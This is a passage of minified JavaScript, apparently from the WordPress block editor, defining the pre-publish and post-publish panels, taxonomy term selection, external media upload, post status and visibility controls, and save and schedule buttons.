0!==t?t:[];return{currentPostFormat:s("format"),suggestion:Im(n,o())}}),[]),{editPost:s}=(0,c.useDispatch)(Ac),o=[(0,fs.__)("Suggestion:"),(0,L.jsx)("span",{className:"editor-post-publish-panel__link",children:(0,fs.__)("Use a post format")},"label")];return t&&t.id!==e?(0,L.jsxs)(Uo.PanelBody,{initialOpen:!1,title:o,children:[(0,L.jsx)("p",{children:(0,fs.__)("Your theme uses post formats to highlight different kinds of content, like images or videos. Apply a post format to see this special styling.")}),(0,L.jsx)("p",{children:(0,L.jsx)(Nm,{onUpdatePostFormat:e=>s({format:e}),suggestedPostFormat:t.id,suggestionText:(0,fs.sprintf)((0,fs.__)('Apply the "%1$s" format.'),t.caption)})})]}):null}const Am={per_page:-1,orderby:"name",order:"asc",_fields:"id,name,parent",context:"view"},Rm=8,Mm=[];function Lm({slug:e}){var t,s;const[o,n]=(0,u.useState)(!1),[i,r]=(0,u.useState)(""),[a,l]=(0,u.useState)(""),[m,h]=(0,u.useState)(!1),[g,_]=(0,u.useState)(""),[f,b]=(0,u.useState)([]),y=(0,p.useDebounce)(ms.speak,500),{hasCreateAction:x,hasAssignAction:v,terms:S,loading:w,availableTerms:k,taxonomy:C}=(0,c.useSelect)((t=>{var s,o;const{getCurrentPost:n,getEditedPostAttribute:i}=t(Ac),{getEntityRecord:r,getEntityRecords:a,isResolving:l}=t(d.store),c=r("root","taxonomy",e),u=n();return{hasCreateAction:!!c&&(null!==(s=u._links?.["wp:action-create-"+c.rest_base])&&void 0!==s&&s),hasAssignAction:!!c&&(null!==(o=u._links?.["wp:action-assign-"+c.rest_base])&&void 0!==o&&o),terms:c?i(c.rest_base):Mm,loading:l("getEntityRecords",["taxonomy",e,Am]),availableTerms:a("taxonomy",e,Am)||Mm,taxonomy:c}}),[e]),{editPost:P}=(0,c.useDispatch)(Ac),{saveEntityRecord:j}=(0,c.useDispatch)(d.store),E=(0,u.useMemo)((()=>function(e,t){const s=e=>-1!==t.indexOf(e.id)||void 0!==e.children&&e.children.map(s).filter((e=>e)).length>0,o=[...e];return o.sort(((e,t)=>{const o=s(e),n=s(t);return o===n?0:o&&!n?-1:!o&&n?1:0})),o}(Ud(k),S)),[k]),{createErrorNotice:T}=(0,c.useDispatch)(_s.store);if(!v)return null;const B=e=>{P({[C.rest_base]:e})},I=e=>e.map((e=>(0,L.jsxs)("div",{className:"editor-post-taxonomies__hierarchical-terms-choice",children:[(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,checked:-1!==S.indexOf(e.id),onChange:()=>{(e=>{const t=S.includes(e)?S.filter((t=>t!==e)):[...S,e];B(t)})(parseInt(e.id,10))},label:(0,Lo.decodeEntities)(e.name)}),!!e.children.length&&(0,L.jsx)("div",{className:"editor-post-taxonomies__hierarchical-terms-subchoices",children:I(e.children)})]},e.id))),N=(t,s,o)=>{var n;return null!==(n=C?.labels?.[t])&&void 0!==n?n:"category"===e?s:o},D=N("add_new_item",(0,fs.__)("Add new category"),(0,fs.__)("Add new term")),A=N("new_item_name",(0,fs.__)("Add new category"),(0,fs.__)("Add new term")),R=N("parent_item",(0,fs.__)("Parent Category"),(0,fs.__)("Parent Term")),M=`— ${R} —`,O=D,F=null!==(t=C?.labels?.search_items)&&void 0!==t?t:(0,fs.__)("Search Terms"),V=null!==(s=C?.name)&&void 0!==s?s:(0,fs.__)("Terms"),z=k.length>=Rm;return(0,L.jsxs)(Uo.Flex,{direction:"column",gap:"4",children:[z&&(0,L.jsx)(Uo.SearchControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:F,placeholder:F,value:g,onChange:e=>{const t=E.map(function(e){const t=s=>{if(""===e)return s;const o={...s};return o.children.length>0&&(o.children=o.children.map(t).filter((e=>e))),(-1!==o.name.toLowerCase().indexOf(e.toLowerCase())||o.children.length>0)&&o};return t}(e)).filter((e=>e)),s=e=>{let t=0;for(let o=0;o<e.length;o++)t++,void 0!==e[o].children&&(t+=s(e[o].children));return t};_(e),b(t);const o=s(t),n=(0,fs.sprintf)((0,fs._n)("%d result found.","%d results found.",o),o);y(n,"assertive")}}),(0,L.jsx)("div",{className:"editor-post-taxonomies__hierarchical-terms-list",tabIndex:"0",role:"group","aria-label":V,children:I(""!==g?f:E)}),!w&&x&&(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,onClick:()=>{h(!m)},className:"editor-post-taxonomies__hierarchical-terms-add","aria-expanded":m,variant:"link",children:D})}),m&&(0,L.jsx)("form",{onSubmit:async t=>{var s;if(t.preventDefault(),""===i||o)return;const c=function(e,t,s){return e.find((e=>(!e.parent&&!t||parseInt(e.parent)===parseInt(t))&&e.name.toLowerCase()===s.toLowerCase()))}(k,a,i);if(c)return S.some((e=>e===c.id))||B([...S,c.id]),r(""),void l("");let d;n(!0);try{d=await(u={name:i,parent:a||void 0},j("taxonomy",e,u,{throwOnError:!0}))}catch(e){return void T(e.message,{type:"snackbar"})}var u;const p="category"===e?(0,fs.__)("Category"):(0,fs.__)("Term"),m=(0,fs.sprintf)((0,fs._x)("%s added","term"),null!==(s=C?.labels?.singular_name)&&void 0!==s?s:p);(0,ms.speak)(m,"assertive"),n(!1),r(""),l(""),B([...S,d.id])},children:(0,L.jsxs)(Uo.Flex,{direction:"column",gap:"4",children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:"editor-post-taxonomies__hierarchical-terms-input",label:A,value:i,onChange:e=>{r(e)},required:!0}),!!k.length&&(0,L.jsx)(Uo.TreeSelect,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:R,noOptionLabel:M,onChange:e=>{l(e)},selectedId:a,tree:E}),(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"secondary",type:"submit",className:"editor-post-taxonomies__hierarchical-terms-submit",children:O})})]})})]})}const Om=(0,Uo.withFilters)("editor.PostTaxonomyType")(Lm);const Fm=function(){const e=(0,c.useSelect)((e=>{const t=e(Ac).getCurrentPostType(),{canUser:s,getEntityRecord:o}=e(d.store),n=o("root","taxonomy","category"),i=s("read",{kind:"root",name:"site"})?o("root","site")?.default_category:void 0,r=i?o("taxonomy","category",i):void 0,a=n&&n.types.some((e=>e===t)),l=n&&e(Ac).getEditedPostAttribute(n.rest_base);return!!n&&!!r&&a&&(0===l?.length||1===l?.length&&r?.id===l[0])}),[]),[t,s]=(0,u.useState)(!1);if((0,u.useEffect)((()=>{e&&s(!0)}),[e]),!t)return null;const o=[(0,fs.__)("Suggestion:"),(0,L.jsx)("span",{className:"editor-post-publish-panel__link",children:(0,fs.__)("Assign a category")},"label")];return(0,L.jsxs)(Uo.PanelBody,{initialOpen:!1,title:o,children:[(0,L.jsx)("p",{children:(0,fs.__)("Categories provide a helpful way to group related posts together and to quickly tell readers what a post is about.")}),(0,L.jsx)(Om,{slug:"category"})]})};function Vm(e){return Object.fromEntries(Object.entries(function(e){const t=new Set;return Object.fromEntries(e.map((e=>{const s=(0,v.getFilename)(e);let o="";if(s){const e=s.split(".");e.length>1&&e.pop(),o=e.join(".")}return o||(o=Ar()),t.has(o)&&(o=`${o}-${Ar()}`),t.add(o),[e,o]})))}(e)).map((([e,t])=>{const s=window.fetch(e.includes("?")?e:e+"?").then((e=>e.blob())).then((e=>new File([e],`${t}.png`,{type:e.type})));return[e,s]})))}function zm(e){const t=[];return e.forEach((e=>{t.push(e),t.push(...zm(e.innerBlocks))})),t}function Um(e){if("core/image"===e.name||"core/cover"===e.name){const{url:t,alt:s,id:o}=e.attributes;return{url:t,alt:s,id:o}}if("core/media-text"===e.name){const{mediaUrl:t,mediaAlt:s,mediaId:o}=e.attributes;return{url:t,alt:s,id:o}}return{}}function Hm({clientId:e,alt:t,url:s}){const{selectBlock:o}=(0,c.useDispatch)(h.store);return(0,L.jsx)(Uo.__unstableMotion.img,{tabIndex:0,role:"button","aria-label":(0,fs.__)("Select image block."),onClick:()=>{o(e)},onKeyDown:t=>{"Enter"!==t.key&&" "!==t.key||(o(e),t.preventDefault())},alt:t,src:s,animate:{opacity:1},exit:{opacity:0,scale:0},style:{width:"32px",height:"32px",objectFit:"cover",borderRadius:"2px",cursor:"pointer"},whileHover:{scale:1.08}},e)}function Gm(){const[e,t]=(0,u.useState)(!1),[s,o]=(0,u.useState)(!1),[n,i]=(0,u.useState)(!1),{editorBlocks:r,mediaUpload:a}=(0,c.useSelect)((e=>({editorBlocks:e(h.store).getBlocks(),mediaUpload:e(h.store).getSettings().mediaUpload})),[]),l=zm(r).filter((e=>function(e){return"core/image"===e.name||"core/cover"===e.name?e.attributes.url&&!e.attributes.id:"core/media-text"===e.name?e.attributes.mediaUrl&&!e.attributes.mediaId:void 0}(e))),{updateBlockAttributes:d}=(0,c.useDispatch)(h.store);if(!a||!l.length)return null;const p=[(0,fs.__)("Suggestion:"),(0,L.jsx)("span",{className:"editor-post-publish-panel__link",children:(0,fs.__)("External media")},"label")];return(0,L.jsxs)(Uo.PanelBody,{initialOpen:!0,title:p,children:[(0,L.jsx)("p",{children:(0,fs.__)("Upload external images to the Media Library. Images from different domains may load slowly, display incorrectly, or be removed unexpectedly.")}),(0,L.jsxs)("div",{style:{display:"inline-flex",flexWrap:"wrap",gap:"8px"},children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{onExitComplete:()=>o(!1),children:l.map((e=>{const{url:t,alt:s}=Um(e);return(0,L.jsx)(Hm,{clientId:e.clientId,url:t,alt:s},e.clientId)}))}),e||s?(0,L.jsx)(Uo.Spinner,{}):(0,L.jsx)(Uo.Button,{size:"compact",variant:"primary",onClick:function(){t(!0),i(!1);const e=new Set(l.map((e=>{const{url:t}=Um(e);return t}))),s=Object.fromEntries(Object.entries(Vm([...e])).map((([e,t])=>[e,t.then((e=>new Promise(((t,s)=>{a({filesList:[e],onFileChange:([e])=>{(0,di.isBlobURL)(e.url)||t(e)},onError(){s()}})}))))])));Promise.allSettled(l.map((e=>{const{url:t}=Um(e);return s[t].then((t=>function(e,t){"core/image"!==e.name&&"core/cover"!==e.name||d(e.clientId,{id:t.id,url:t.url}),"core/media-text"===e.name&&d(e.clientId,{mediaId:t.id,mediaUrl:t.url})}(e,t))).then((()=>o(!0))).catch((()=>i(!0)))}))).finally((()=>{t(!1)}))},children:(0,fs._x)("Upload","verb")})]}),n&&(0,L.jsx)("p",{children:(0,fs.__)("Upload failed, try again.")})]})}const $m=function({children:e}){const{isBeingScheduled:t,isRequestingSiteIcon:s,hasPublishAction:o,siteIconUrl:n,siteTitle:i,siteHome:r}=(0,c.useSelect)((e=>{var t;const{getCurrentPost:s,isEditedPostBeingScheduled:o}=e(Ac),{getEntityRecord:n,isResolving:i}=e(d.store),r=n("root","__unstableBase",void 0)||{};return{hasPublishAction:null!==(t=s()._links?.["wp:action-publish"])&&void 0!==t&&t,isBeingScheduled:o(),isRequestingSiteIcon:i("getEntityRecord",["root","__unstableBase",void 0]),siteIconUrl:r.site_icon_url,siteTitle:r.name,siteHome:r.home&&(0,v.filterURLForDisplay)(r.home)}}),[]);let a,l,u=(0,L.jsx)(Uo.Icon,{className:"components-site-icon",size:"36px",icon:$p});return n&&(u=(0,L.jsx)("img",{alt:(0,fs.__)("Site Icon"),className:"components-site-icon",src:n})),s&&(u=null),o?t?(a=(0,fs.__)("Are you ready to schedule?"),l=(0,fs.__)("Your work will be published at the specified date and time.")):(a=(0,fs.__)("Are you ready to publish?"),l=(0,fs.__)("Double-check your settings before publishing.")):(a=(0,fs.__)("Are you ready to submit for review?"),l=(0,fs.__)("Your work will be reviewed and then approved.")),(0,L.jsxs)("div",{className:"editor-post-publish-panel__prepublish",children:[(0,L.jsx)("div",{children:(0,L.jsx)("strong",{children:a})}),(0,L.jsx)("p",{children:l}),(0,L.jsxs)("div",{className:"components-site-card",children:[u,(0,L.jsxs)("div",{className:"components-site-info",children:[(0,L.jsx)("span",{className:"components-site-name",children:(0,Lo.decodeEntities)(i)||(0,fs.__)("(Untitled)")}),(0,L.jsx)("span",{className:"components-site-home",children:r})]})]}),(0,L.jsx)(Gm,{}),o&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.PanelBody,{initialOpen:!1,title:[(0,fs.__)("Visibility:"),(0,L.jsx)("span",{className:"editor-post-publish-panel__link",children:(0,L.jsx)(Kp,{})},"label")],children:(0,L.jsx)(Zp,{})}),(0,L.jsx)(Uo.PanelBody,{initialOpen:!1,title:[(0,fs.__)("Publish:"),(0,L.jsx)("span",{className:"editor-post-publish-panel__link",children:(0,L.jsx)(hm,{})},"label")],children:(0,L.jsx)(pm,{})})]}),(0,L.jsx)(Dm,{}),(0,L.jsx)(Bm,{}),(0,L.jsx)(Fm,{}),e]})},Wm="%postname%",Zm="%pagename%";function Ym({text:e}){const[t,s]=(0,u.useState)(!1),o=(0,u.useRef)(),n=(0,p.useCopyToClipboard)(e,(()=>{s(!0),o.current&&clearTimeout(o.current),o.current=setTimeout((()=>{s(!1)}),4e3)}));return(0,u.useEffect)((()=>()=>{o.current&&clearTimeout(o.current)}),[]),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"secondary",ref:n,children:t?(0,fs.__)("Copied!"):(0,fs.__)("Copy")})}function Km({focusOnMount:e,children:t}){const{post:s,postType:o,isScheduled:n}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t,getCurrentPost:s,isCurrentPostScheduled:o}=e(Ac),{getPostType:n}=e(d.store);return{post:s(),postType:n(t("type")),isScheduled:o()}}),[]),i=o?.labels?.singular_name,r=o?.labels?.view_item,a=o?.labels?.add_new_item,l="future"===s.status?(e=>{const{slug:t}=e;return e.permalink_template.includes(Wm)?e.permalink_template.replace(Wm,t):e.permalink_template.includes(Zm)?e.permalink_template.replace(Zm,t):e.permalink_template})(s):s.link,p=(0,v.addQueryArgs)("post-new.php",{post_type:s.type}),m=(0,u.useCallback)((t=>{e&&t&&t.focus()}),[e]),h=n?(0,L.jsxs)(L.Fragment,{children:[(0,fs.__)("is now scheduled. It will go live on")," ",(0,L.jsx)(hm,{}),"."]}):(0,fs.__)("is now live.");return(0,L.jsxs)("div",{className:"post-publish-panel__postpublish",children:[(0,L.jsxs)(Uo.PanelBody,{className:"post-publish-panel__postpublish-header",children:[(0,L.jsx)("a",{ref:m,href:l,children:(0,Lo.decodeEntities)(s.title)||(0,fs.__)("(no title)")})," ",h]}),(0,L.jsxs)(Uo.PanelBody,{children:[(0,L.jsx)("p",{className:"post-publish-panel__postpublish-subheader",children:(0,L.jsx)("strong",{children:(0,fs.__)("What’s next?")})}),(0,L.jsxs)("div",{className:"post-publish-panel__postpublish-post-address-container",children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:"post-publish-panel__postpublish-post-address",readOnly:!0,label:(0,fs.sprintf)((0,fs.__)("%s address"),i),value:(0,v.safeDecodeURIComponent)(l),onFocus:e=>e.target.select()}),(0,L.jsx)("div",{className:"post-publish-panel__postpublish-post-address__copy-button-wrap",children:(0,L.jsx)(Ym,{text:l})})]}),(0,L.jsxs)("div",{className:"post-publish-panel__postpublish-buttons",children:[!n&&(0,L.jsx)(Uo.Button,{variant:"primary",href:l,__next40pxDefaultSize:!0,children:r}),(0,L.jsx)(Uo.Button,{variant:n?"primary":"secondary",__next40pxDefaultSize:!0,href:p,children:a})]})]}),t]})}class qm extends u.Component{constructor(){super(...arguments),this.onSubmit=this.onSubmit.bind(this),this.cancelButtonNode=(0,u.createRef)()}componentDidMount(){this.timeoutID=setTimeout((()=>{this.cancelButtonNode.current.focus()}),0)}componentWillUnmount(){clearTimeout(this.timeoutID)}componentDidUpdate(e){(e.isPublished&&!this.props.isSaving&&this.props.isDirty||this.props.currentPostId!==e.currentPostId)&&this.props.onClose()}onSubmit(){const{onClose:e,hasPublishAction:t,isPostTypeViewable:s}=this.props;t&&s||e()}render(){const{forceIsDirty:e,isBeingScheduled:t,isPublished:s,isPublishSidebarEnabled:o,isScheduled:n,isSaving:i,isSavingNonPostEntityChanges:r,onClose:a,onTogglePublishSidebar:l,PostPublishExtension:c,PrePublishExtension:d,currentPostId:u,...p}=this.props,{hasPublishAction:m,isDirty:h,isPostTypeViewable:g,..._}=p,f=s||n&&t,b=!f&&!i,y=f&&!i;return(0,L.jsxs)("div",{className:"editor-post-publish-panel",..._,children:[(0,L.jsx)("div",{className:"editor-post-publish-panel__header",children:y?(0,L.jsx)(Uo.Button,{size:"compact",onClick:a,icon:Bn,label:(0,fs.__)("Close panel")}):(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("div",{className:"editor-post-publish-panel__header-cancel-button",children:(0,L.jsx)(Uo.Button,{ref:this.cancelButtonNode,accessibleWhenDisabled:!0,disabled:r,onClick:a,variant:"secondary",size:"compact",children:(0,fs.__)("Cancel")})}),(0,L.jsx)("div",{className:"editor-post-publish-panel__header-publish-button",children:(0,L.jsx)(Gp,{onSubmit:this.onSubmit,forceIsDirty:e})})]})}),(0,L.jsxs)("div",{className:"editor-post-publish-panel__content",children:[b&&(0,L.jsx)($m,{children:d&&(0,L.jsx)(d,{})}),y&&(0,L.jsx)(Km,{focusOnMount:!0,children:c&&(0,L.jsx)(c,{})}),i&&(0,L.jsx)(Uo.Spinner,{})]}),(0,L.jsx)("div",{className:"editor-post-publish-panel__footer",children:(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)("Always show pre-publish checks."),checked:o,onChange:l})})]})}}const Qm=(0,p.compose)([(0,c.withSelect)((e=>{var t;const{getPostType:s}=e(d.store),{getCurrentPost:o,getCurrentPostId:n,getEditedPostAttribute:i,isCurrentPostPublished:r,isCurrentPostScheduled:a,isEditedPostBeingScheduled:l,isEditedPostDirty:c,isAutosavingPost:u,isSavingPost:p,isSavingNonPostEntityChanges:m}=e(Ac),{isPublishSidebarEnabled:h}=e(Ac),g=s(i("type"));return{hasPublishAction:null!==(t=o()._links?.["wp:action-publish"])&&void 0!==t&&t,isPostTypeViewable:g?.viewable,isBeingScheduled:l(),isDirty:c(),isPublished:r(),isPublishSidebarEnabled:h(),isSaving:p()&&!u(),isSavingNonPostEntityChanges:m(),isScheduled:a(),currentPostId:n()}})),(0,c.withDispatch)(((e,{isPublishSidebarEnabled:t})=>{const{disablePublishSidebar:s,enablePublishSidebar:o}=e(Ac);return{onTogglePublishSidebar:()=>{t?s():o()}}})),Uo.withFocusReturn,Uo.withConstrainedTabbing])(qm),Xm=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M17.3 10.1C17.3 7.60001 15.2 5.70001 12.5 5.70001C10.3 5.70001 8.4 7.10001 7.9 9.00001H7.7C5.7 9.00001 4 10.7 4 12.8C4 14.9 5.7 16.6 7.7 16.6H9.5V15.2H7.7C6.5 15.2 5.5 14.1 5.5 12.9C5.5 11.7 6.5 10.5 7.7 10.5H9L9.3 9.40001C9.7 8.10001 11 7.20001 12.5 7.20001C14.3 7.20001 15.8 8.50001 15.8 10.1V11.4L17.1 11.6C17.9 11.7 18.5 12.5 18.5 13.4C18.5 14.4 17.7 15.2 16.8 15.2H14.5V16.6H16.7C18.5 16.6 19.9 15.1 19.9 13.3C20 11.7 18.8 10.4 17.3 10.1Z M14.1245 14.2426L15.1852 13.182L12.0032 10L8.82007 13.1831L9.88072 14.2438L11.25 12.8745V18H12.75V12.8681L14.1245 14.2426Z"})}),Jm=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z"})});function eh({children:e}){const{hasStickyAction:t,postType:s}=(0,c.useSelect)((e=>{var t;const s=e(Ac).getCurrentPost();return{hasStickyAction:null!==(t=s._links?.["wp:action-sticky"])&&void 0!==t&&t,postType:e(Ac).getCurrentPostType()}}),[]);return"post"===s&&t?e:null}function th(){const e=(0,c.useSelect)((e=>{var t;return null!==(t=e(Ac).getEditedPostAttribute("sticky"))&&void 0!==t&&t}),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)(eh,{children:(0,L.jsx)(Uo.CheckboxControl,{className:"editor-post-sticky__checkbox-control",label:(0,fs.__)("Sticky"),help:(0,fs.__)("Pin this post to the top of the blog"),checked:e,onChange:()=>t({sticky:!e}),__nextHasNoMarginBottom:!0})})}const sh={"auto-draft":{label:(0,fs.__)("Draft"),icon:Oi},draft:{label:(0,fs.__)("Draft"),icon:Oi},pending:{label:(0,fs.__)("Pending"),icon:Vi},private:{label:(0,fs.__)("Private"),icon:zi},future:{label:(0,fs.__)("Scheduled"),icon:Fi},publish:{label:(0,fs.__)("Published"),icon:Ui}},oh=[{label:(0,fs.__)("Draft"),value:"draft",description:(0,fs.__)("Not ready to publish.")},{label:(0,fs.__)("Pending"),value:"pending",description:(0,fs.__)("Waiting for review before publishing.")},{label:(0,fs.__)("Private"),value:"private",description:(0,fs.__)("Only visible to site admins and editors.")},{label:(0,fs.__)("Scheduled"),value:"future",description:(0,fs.__)("Publish automatically on a chosen date.")},{label:(0,fs.__)("Published"),value:"publish",description:(0,fs.__)("Visible to everyone.")}],nh=[T,B,I,N];function ih(){const{status:e,date:t,password:s,postId:o,postType:n,canEdit:i}=(0,c.useSelect)((e=>{var t;const{getEditedPostAttribute:s,getCurrentPostId:o,getCurrentPostType:n,getCurrentPost:i}=e(Ac);return{status:s("status"),date:s("date"),password:s("password"),postId:o(),postType:n(),canEdit:null!==(t=i()._links?.["wp:action-publish"])&&void 0!==t&&t}}),[]),[r,a]=(0,u.useState)(!!s),l=(0,p.useInstanceId)(ih,"editor-change-status__password-input"),{editEntityRecord:m}=(0,c.useDispatch)(d.store),[g,_]=(0,u.useState)(null),f=(0,u.useMemo)((()=>({anchor:g,"aria-label":(0,fs.__)("Status & visibility"),headerTitle:(0,fs.__)("Status & visibility"),placement:"left-start",offset:36,shift:!0})),[g]);if(nh.includes(n))return null;const b=({status:i=e,password:r=s,date:a=t})=>{m("postType",n,o,{status:i,date:a,password:r})},y=e=>{a(e),e||b({password:""})},x=o=>{let n=t,i=s;"future"===e&&new Date(t)>new Date&&(n=null),"private"===o&&s&&(i=""),b({status:o,date:n,password:i})};return(0,L.jsx)(zd,{label:(0,fs.__)("Status"),ref:_,children:i?(0,L.jsx)(Uo.Dropdown,{className:"editor-post-status",contentClassName:"editor-change-status__content",popoverProps:f,focusOnMount:!0,renderToggle:({onToggle:t,isOpen:s})=>(0,L.jsx)(Uo.Button,{className:"editor-post-status__toggle",variant:"tertiary",size:"compact",onClick:t,icon:sh[e]?.icon,"aria-label":(0,fs.sprintf)((0,fs.__)("Change status: %s"),sh[e]?.label),"aria-expanded":s,children:sh[e]?.label}),renderContent:({onClose:t})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Status & visibility"),onClose:t}),(0,L.jsx)("form",{children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsx)(Uo.RadioControl,{className:"editor-change-status__options",hideLabelFromVision:!0,label:(0,fs.__)("Status"),options:oh,onChange:x,selected:"auto-draft"===e?"draft":e}),"future"===e&&(0,L.jsx)("div",{className:"editor-change-status__publish-date-wrapper",children:(0,L.jsx)(mm,{showPopoverHeaderActions:!1,isCompact:!0})}),"private"!==e&&(0,L.jsxs)(Uo.__experimentalVStack,{as:"fieldset",spacing:4,className:"editor-change-status__password-fieldset",children:[(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)("Password protected"),help:(0,fs.__)("Only visible to those who know the password"),checked:r,onChange:y}),r&&(0,L.jsx)("div",{className:"editor-change-status__password-input",children:(0,L.jsx)(Uo.TextControl,{label:(0,fs.__)("Password"),onChange:e=>b({password:e}),value:s,placeholder:(0,fs.__)("Use a secure password"),type:"text",id:l,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,maxLength:255})})]}),(0,L.jsx)(th,{})]})})]})}):(0,L.jsx)("div",{className:"editor-post-status is-read-only",children:sh[e]?.label})})}function rh({forceIsDirty:e}){const[t,s]=(0,u.useState)(!1),o=(0,p.useViewportMatch)("small"),{isAutosaving:n,isDirty:i,isNew:r,isPublished:a,isSaveable:l,isSaving:d,isScheduled:m,hasPublishAction:h,showIconLabels:g,postStatus:_,postStatusHasChanged:f}=(0,c.useSelect)((t=>{var s;const{isEditedPostNew:o,isCurrentPostPublished:n,isCurrentPostScheduled:i,isEditedPostDirty:r,isSavingPost:a,isEditedPostSaveable:l,getCurrentPost:c,isAutosavingPost:d,getEditedPostAttribute:u,getPostEdits:p}=t(Ac),{get:m}=t(k.store);return{isAutosaving:d(),isDirty:e||r(),isNew:o(),isPublished:n(),isSaving:a(),isSaveable:l(),isScheduled:i(),hasPublishAction:null!==(s=c()?._links?.["wp:action-publish"])&&void 0!==s&&s,showIconLabels:m("core","showIconLabels"),postStatus:u("status"),postStatusHasChanged:!!p()?.status}}),[e]),b="pending"===_,{savePost:y}=(0,c.useDispatch)(Ac),x=(0,p.usePrevious)(d);if((0,u.useEffect)((()=>{let e;return x&&!d&&(s(!0),e=setTimeout((()=>{s(!1)}),1e3)),()=>clearTimeout(e)}),[d]),!h&&b)return null;const v=!["pending","draft","auto-draft"].includes(_)&&oh.map((({value:e})=>e)).includes(_);if(a||m||v||f&&["pending","draft"].includes(_))return null;const S=b?(0,fs.__)("Save as pending"):(0,fs.__)("Save draft"),w=(0,fs.__)("Save"),C=t||!r&&!i,P=d||C,j=d||C||!l;let E;return d?E=n?(0,fs.__)("Autosaving"):(0,fs.__)("Saving"):C?E=(0,fs.__)("Saved"):o?E=S:g&&(E=w),(0,L.jsxs)(Uo.Button,{className:l||d?Di({"editor-post-save-draft":!P,"editor-post-saved-state":P,"is-saving":d,"is-autosaving":n,"is-saved":C,[(0,Uo.__unstableGetAnimateClassName)({type:"loading"})]:d}):void 0,onClick:j?void 0:()=>y(),shortcut:j?void 0:wl.displayShortcut.primary("s"),variant:"tertiary",size:"compact",icon:o?void 0:Xm,label:E||S,"aria-disabled":j,children:[P&&(0,L.jsx)(fr,{icon:C?Ho:Jm}),E]})}function ah({children:e}){return(0,c.useSelect)((e=>{var t;return null!==(t=e(Ac).getCurrentPost()._links?.["wp:action-publish"])&&void 0!==t&&t}),[])?e:null}const lh=[T,B,I,N];function ch(){const[e,t]=(0,u.useState)(null),s=(0,c.useSelect)((e=>e(Ac).getCurrentPostType()),[]),o=(0,u.useMemo)((()=>({anchor:e,"aria-label":(0,fs.__)("Change publish date"),placement:"left-start",offset:36,shift:!0})),[e]),n=gm(),i=gm({full:!0});return lh.includes(s)?null:(0,L.jsx)(ah,{children:(0,L.jsx)(zd,{label:(0,fs.__)("Publish"),ref:t,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:o,focusOnMount:!0,className:"editor-post-schedule__panel-dropdown",contentClassName:"editor-post-schedule__dialog",renderToggle:({onToggle:e,isOpen:t})=>(0,L.jsx)(Uo.Button,{size:"compact",className:"editor-post-schedule__dialog-toggle",variant:"tertiary",tooltipPosition:"middle left",onClick:e,"aria-label":(0,fs.sprintf)((0,fs.__)("Change date: %s"),n),label:i,showTooltip:n!==i,"aria-expanded":t,children:n}),renderContent:({onClose:e})=>(0,L.jsx)(pm,{onClose:e})})})})}function dh(){w()("wp.editor.PostSwitchToDraftButton",{since:"6.7",version:"6.9"});const[e,t]=(0,u.useState)(!1),{editPost:s,savePost:o}=(0,c.useDispatch)(Ac),{isSaving:n,isPublished:i,isScheduled:r}=(0,c.useSelect)((e=>{const{isSavingPost:t,isCurrentPostPublished:s,isCurrentPostScheduled:o}=e(Ac);return{isSaving:t(),isPublished:s(),isScheduled:o()}}),[]),a=n||!i&&!r;let l,d;i?(l=(0,fs.__)("Are you sure you want to unpublish this post?"),d=(0,fs.__)("Unpublish")):r&&(l=(0,fs.__)("Are you sure you want to unschedule this post?"),d=(0,fs.__)("Unschedule"));return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:"editor-post-switch-to-draft",onClick:()=>{a||t(!0)},"aria-disabled":a,variant:"secondary",style:{flexGrow:"1",justifyContent:"center"},children:(0,fs.__)("Switch to draft")}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:e,onConfirm:()=>{t(!1),s({status:"draft"}),o()},onCancel:()=>t(!1),confirmButtonText:d,children:l})]})}function uh(){const{syncStatus:e,postType:t}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t}=e(Ac),s=t("meta");return{syncStatus:"unsynced"===s?.wp_pattern_sync_status?"unsynced":t("wp_pattern_sync_status"),postType:t("type")}}));return"wp_block"!==t?null:(0,L.jsx)(zd,{label:(0,fs.__)("Sync status"),children:(0,L.jsx)("div",{className:"editor-post-sync-status__value",children:"unsynced"===e?(0,fs._x)("Not synced","pattern (singular)"):(0,fs._x)("Synced","pattern (singular)")})})}const 